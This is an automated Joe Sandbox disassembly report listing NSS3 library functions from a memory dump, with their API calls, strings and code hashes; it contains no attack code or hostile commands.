Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: cfc275d28dbd3dd081c230ded011cd2e9f6bcd8e205a05e180f020ca41962104
Instruction ID: fa1901a712a774facb42dbb168518279d13ed657eb512bee2e0639e5103f957a
Opcode Fuzzy Hash: cfc275d28dbd3dd081c230ded011cd2e9f6bcd8e205a05e180f020ca41962104
Instruction Fuzzy Hash: C15137B6D00604EBEB109F24EC859AA77B8FF19258B048560ED1897B12F731ED64C7F1

Function 6CBD4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4CB0
PR_Unlock.NSS3(?,?,?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4D97
PR_Lock.NSS3(?,?,?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4DBA
PR_WaitCondVar.NSS3 ref: 6CBD4DD4
PR_Unlock.NSS3(?,?,?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4DEF

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: b9564f3962e03d94ebbeaa6bbba574d77edfdbc08b81643e2c5722ef9e7b89f1
Instruction ID: d0458df70c26d30ba5d8ae9e0e747dc1b1bdc7eb6dc70d6e5770b2904baacdbe
Opcode Fuzzy Hash: b9564f3962e03d94ebbeaa6bbba574d77edfdbc08b81643e2c5722ef9e7b89f1
Instruction Fuzzy Hash: 70416AB1A04695CFDB00AF79E084569BBF8FF06314F168669D9989B710E730E884CF96

Function 6CC5E910 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 149memorystringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,http://,00000007), ref: 6CC5E93B
PR_SetError.NSS3(FFFFE075,00000000), ref: 6CC5E94E
PORT_Alloc_Util.NSS3(00000001), ref: 6CC5E995
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC5E9A7
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 6CC5E9CA
PORT_Strdup_Util.NSS3(6CD9933E), ref: 6CC5EA17
PORT_Alloc_Util.NSS3(00000001), ref: 6CC5EA28

Part of subcall function 6CCB0BE0: malloc.MOZGLUE(6CCA8D2D,?,00000000,?), ref: 6CCB0BF8
Part of subcall function 6CCB0BE0: TlsGetValue.KERNEL32(6CCA8D2D,?,00000000,?), ref: 6CCB0C15

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC5EA3C
free.MOZGLUE(?), ref: 6CC5EA69

Strings

http://, xrefs: 6CC5E935

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Alloc_memcpy$ErrorL_strncasecmpStrdup_Valuefreemallocstrtol
String ID: http://
API String ID: 3982757857-1121587658
Opcode ID: 2bc4d55d995114447add16177e6c4ffe7c32b5bc20a998fd051c83e65ecebc63
Instruction ID: 71a93c55917a1bad19433a83f9ff98c16be03d8a94ba32e6da3da87b46021d27
Opcode Fuzzy Hash: 2bc4d55d995114447add16177e6c4ffe7c32b5bc20a998fd051c83e65ecebc63
Instruction Fuzzy Hash: BB41CDF9D082064BEF514AA88C407EA7BA4BB4731CFD0002DD8A097F41F21A8576C2EE

Function 6CC9ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CC9DE64), ref: 6CC9ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC9ED22

Part of subcall function 6CCAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD818D0,?), ref: 6CCAB095

PL_FreeArenaPool.NSS3(?), ref: 6CC9ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CC9ED6B
PR_CallOnce.NSS3(6CDB2AA4,6CCB12D0), ref: 6CC9ED38

Part of subcall function 6CBD4C70: TlsGetValue.KERNEL32(?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4C97
Part of subcall function 6CBD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4CB0
Part of subcall function 6CBD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CBD3921,6CDB14E4,6CD1CC70), ref: 6CBD4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CC9ED52
PR_CallOnce.NSS3(6CDB2AA4,6CCB12D0), ref: 6CC9ED83
PL_FreeArenaPool.NSS3(?), ref: 6CC9ED95
PL_FinishArenaPool.NSS3(?), ref: 6CC9ED9D

Part of subcall function 6CCB64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CCB127C,00000000,00000000,00000000), ref: 6CCB650E

Strings

security, xrefs: 6CC9ED06

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 634f72617cd66ee228c356d8fb5c64eab642fa0d14919d1a65aa0dc22865e033
Instruction ID: 11e70564556dbf91f35f221c2da991c4d67f3ef74b6e5092121d66cbeb2aefee
Opcode Fuzzy Hash: 634f72617cd66ee228c356d8fb5c64eab642fa0d14919d1a65aa0dc22865e033
Instruction Fuzzy Hash: 3F113DB790061467F61097A6ECC4BBBB278BF12B0CF050568E81572E61F735A50CCAE7

Function 6CC82CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CC82CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CC82D07

Part of subcall function 6CD609D0: PR_Now.NSS3 ref: 6CD60A22
Part of subcall function 6CD609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD60A35
Part of subcall function 6CD609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD60A66
Part of subcall function 6CD609D0: PR_GetCurrentThread.NSS3 ref: 6CD60A70
Part of subcall function 6CD609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD60A9D
Part of subcall function 6CD609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD60AC8
Part of subcall function 6CD609D0: PR_vsmprintf.NSS3(?,?), ref: 6CD60AE8
Part of subcall function 6CD609D0: EnterCriticalSection.KERNEL32(?), ref: 6CD60B19
Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD60B48
Part of subcall function 6CD609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD60C76
Part of subcall function 6CD609D0: PR_LogFlush.NSS3 ref: 6CD60C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CC82D22

Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(?), ref: 6CD60B88
Part of subcall function 6CD609D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD60C5D
Part of subcall function 6CD609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD60C8D
Part of subcall function 6CD609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60C9C
Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(?), ref: 6CD60CD1
Part of subcall function 6CD609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD60CEC
Part of subcall function 6CD609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60CFB
Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD60D16
Part of subcall function 6CD609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD60D26
Part of subcall function 6CD609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60D35
Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CD60D65
Part of subcall function 6CD609D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD60D70
Part of subcall function 6CD609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD60D90
Part of subcall function 6CD609D0: free.MOZGLUE(00000000), ref: 6CD60D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CC82D3B

Part of subcall function 6CD609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD60BAB
Part of subcall function 6CD609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60BBA
Part of subcall function 6CD609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CC82D54

Part of subcall function 6CD609D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD60BCB
Part of subcall function 6CD609D0: EnterCriticalSection.KERNEL32(?), ref: 6CD60BDE
Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(?), ref: 6CD60C16

Strings

pPin = 0x%p, xrefs: 6CC82D1D
ulPinLen = %d, xrefs: 6CC82D36
slotID = 0x%x, xrefs: 6CC82D02
pLabel = 0x%p, xrefs: 6CC82D4F
C_InitToken, xrefs: 6CC82CE7

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 30bcf4166b7b0ba05088be5c8fede9f89d3204ea84bfbadc0581fd07e438fb14
Instruction ID: f640719423dad5afc9ff43dcf7806a1fcb878476b024376672233dc26656987e
Opcode Fuzzy Hash: 30bcf4166b7b0ba05088be5c8fede9f89d3204ea84bfbadc0581fd07e438fb14
Instruction Fuzzy Hash: 0F2198B6202144EFFB009F54DD5CA463FBAEB4235DF488057EA0897A72E730984DCBA5

Function 6CC82AF0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetMechanismList), ref: 6CC82B0C
PR_LogPrint.NSS3( pulCount = 0x%p,?), ref: 6CC82B59

Part of subcall function 6CD609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD60BAB
Part of subcall function 6CD609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60BBA
Part of subcall function 6CD609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60D7E

PR_LogPrint.NSS3( pMechanismList = 0x%p,?), ref: 6CC82B3E

Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(?), ref: 6CD60B88
Part of subcall function 6CD609D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD60C5D
Part of subcall function 6CD609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD60C8D
Part of subcall function 6CD609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60C9C
Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(?), ref: 6CD60CD1
Part of subcall function 6CD609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD60CEC
Part of subcall function 6CD609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60CFB
Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD60D16
Part of subcall function 6CD609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD60D26
Part of subcall function 6CD609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60D35
Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CD60D65
Part of subcall function 6CD609D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD60D70
Part of subcall function 6CD609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD60D90
Part of subcall function 6CD609D0: free.MOZGLUE(00000000), ref: 6CD60D99

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CC82B25

Part of subcall function 6CD609D0: PR_Now.NSS3 ref: 6CD60A22
Part of subcall function 6CD609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD60A35
Part of subcall function 6CD609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD60A66
Part of subcall function 6CD609D0: PR_GetCurrentThread.NSS3 ref: 6CD60A70
Part of subcall function 6CD609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD60A9D
Part of subcall function 6CD609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD60AC8
Part of subcall function 6CD609D0: PR_vsmprintf.NSS3(?,?), ref: 6CD60AE8
Part of subcall function 6CD609D0: EnterCriticalSection.KERNEL32(?), ref: 6CD60B19
Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD60B48
Part of subcall function 6CD609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD60C76
Part of subcall function 6CD609D0: PR_LogFlush.NSS3 ref: 6CD60C7E

PR_LogPrint.NSS3( *pulCount = 0x%x,?), ref: 6CC82BC0

Strings

slotID = 0x%x, xrefs: 6CC82B20
C_GetMechanismList, xrefs: 6CC82B07
*pulCount = 0x%x, xrefs: 6CC82BBB
pulCount = 0x%p, xrefs: 6CC82B54
pMechanismList = 0x%p, xrefs: 6CC82B39

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: DebugOutputPrintStringfflush$fwrite$R_snprintf$CriticalCurrentEnterExplodeFlushR_vsmprintfR_vsnprintfSectionThreadTimefputcfreememcpy
String ID: *pulCount = 0x%x$ pMechanismList = 0x%p$ pulCount = 0x%p$ slotID = 0x%x$C_GetMechanismList
API String ID: 1342304006-3652739913
Opcode ID: 39ab5253e076e018b76709dd62f53b88974a50c5b5ecac401e70764bbac4ab32
Instruction ID: f9d953b19635c8c346432496a0a6aafc655217ce8733ff3c354996b874474e5f
Opcode Fuzzy Hash: 39ab5253e076e018b76709dd62f53b88974a50c5b5ecac401e70764bbac4ab32
Instruction Fuzzy Hash: 1421B8B1603141EFFB00CF54DD8CE563B79EB4679DF084066EA09A7B61E730A848C7A5

Function 6CD60EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CC42357), ref: 6CD60EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CC42357), ref: 6CD60EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CD60EE6

Part of subcall function 6CD609D0: PR_Now.NSS3 ref: 6CD60A22
Part of subcall function 6CD609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD60A35
Part of subcall function 6CD609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD60A66
Part of subcall function 6CD609D0: PR_GetCurrentThread.NSS3 ref: 6CD60A70
Part of subcall function 6CD609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD60A9D
Part of subcall function 6CD609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD60AC8
Part of subcall function 6CD609D0: PR_vsmprintf.NSS3(?,?), ref: 6CD60AE8
Part of subcall function 6CD609D0: EnterCriticalSection.KERNEL32(?), ref: 6CD60B19
Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD60B48
Part of subcall function 6CD609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD60C76
Part of subcall function 6CD609D0: PR_LogFlush.NSS3 ref: 6CD60C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CD60EFA

Part of subcall function 6CC4AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CC4AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD60F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD60F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD60F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD60F2B

Strings

Aborting, xrefs: 6CD60EB3
Assertion failure: %s, at %s:%d, xrefs: 6CD60ED9, 6CD60EE5, 6CD60F06, 6CD60F0B

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 07597f35f8d223b27448344410b48b0937165750da853355add5b9ec574d7229
Instruction ID: 4bf047aef97c9a2edb021b4bf75e781f6ba82b711b7f80781ad48956cdd49448
Opcode Fuzzy Hash: 07597f35f8d223b27448344410b48b0937165750da853355add5b9ec574d7229
Instruction Fuzzy Hash: 15F031B59001147BEF017BA1EC49C9F3E2DDF86674F044424FE0956A12DA36E91496B2

Function 6CCC4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CCC4DCB

Part of subcall function 6CCB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC587ED,00000800,6CC4EF74,00000000), ref: 6CCB1000
Part of subcall function 6CCB0FF0: PR_NewLock.NSS3(?,00000800,6CC4EF74,00000000), ref: 6CCB1016
Part of subcall function 6CCB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CC587ED,00000008,?,00000800,6CC4EF74,00000000), ref: 6CCB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CCC4DE1

Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB10F3
Part of subcall function 6CCB10C0: EnterCriticalSection.KERNEL32(?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB110C
Part of subcall function 6CCB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1141
Part of subcall function 6CCB10C0: PR_Unlock.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1182
Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CCC4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CCC4E59

Part of subcall function 6CCAFAB0: free.MOZGLUE(?,-00000001,?,?,6CC4F673,00000000,00000000), ref: 6CCAFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD8300C,00000000), ref: 6CCC4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CCC4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CCC4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CCC521A

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 3ff291d44404e30e3955c30f6949f59448925e33603ec0d24abb54426ddf1cc8
Instruction ID: 05e361ad40056657677e3f2190426d690414c61afe1f08d1e1d5e6d846b768fa
Opcode Fuzzy Hash: 3ff291d44404e30e3955c30f6949f59448925e33603ec0d24abb54426ddf1cc8
Instruction Fuzzy Hash: E0F18B71F00209CBDB04CF59D8407AEB7B2FF48358F258169E915AB781E775E982CB92

Function 6CCD6BA0 Relevance: 16.7, APIs: 11, Instructions: 248COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000159,?,?,?,?,?,?,?,6CCE0293), ref: 6CCD6BC2
PR_SetError.NSS3(FFFFD016,00000000), ref: 6CCD6C13
NSS_GetAlgorithmPolicy.NSS3(?), ref: 6CCD6C39
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CCD6C6C
NSS_GetAlgorithmPolicy.NSS3(00000146,?), ref: 6CCD6CAB
PR_SetError.NSS3(FFFFD016,00000000), ref: 6CCD6CEE
PR_SetError.NSS3(FFFFD016,00000000), ref: 6CCD6D2A
PR_SetError.NSS3(FFFFD016,00000000), ref: 6CCD6D6D
PR_SetError.NSS3(FFFFD016,00000000), ref: 6CCD6DBD
PR_SetError.NSS3(FFFFD016,00000000), ref: 6CCD6E13
PR_SetError.NSS3(FFFFD016,00000000), ref: 6CCD6EE9

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
